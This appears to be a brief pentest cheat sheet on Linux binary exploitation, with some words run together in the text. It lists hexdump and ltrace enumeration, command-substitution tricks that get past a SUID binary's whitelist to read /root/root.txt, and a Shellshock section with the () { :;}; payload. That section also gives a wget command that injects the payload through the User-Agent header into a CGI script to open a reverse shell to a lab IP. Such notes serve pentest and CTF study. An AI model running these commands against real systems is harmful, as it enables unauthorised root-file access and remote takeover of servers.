Binary Exploitation - Linux
Binary Basic Enumeration
Display Binary data
cat example | hexdump -Ctrace library function calls made by a binary
ltrace [options] <program> [program arguments]BypassSUIDwhitelist
Sometimes
SUIDcommands may have a whitelist for commands .
This can be bypassed by using
subcommands:
supershell ‘/bin/ls $(cat /root/root.txt)’In this example
supershellis theSUIDbinary and/bin/lsthe whitelisted command, there are also another way to bypass this by using'to open a quote:
supershell ‘/bin/lsThen in the next line use your desired command:
cat /root/root.txt’ShellSock
Attack vectors include remote command execution via
CGIscripts or web servers, as well as exploitation in environments likeSSH,HTTP, and any process that involvesBashinterpreting environment variables.
Affects
Bashversions1.xto4.3:
() { :;}; echo; /usr/bin/idInject malicious code through the
User-Agentheader, targeting a vulnerableCGIscript in the/cgi-bin/directory to initiate a reverse shell:
wget -U '() { :;}; echo; /bin/bash >& /dev/tcp/172.24.0.253/4443 0>&1' -O- http://172.24.0.2/cgi-bin/statsLast updated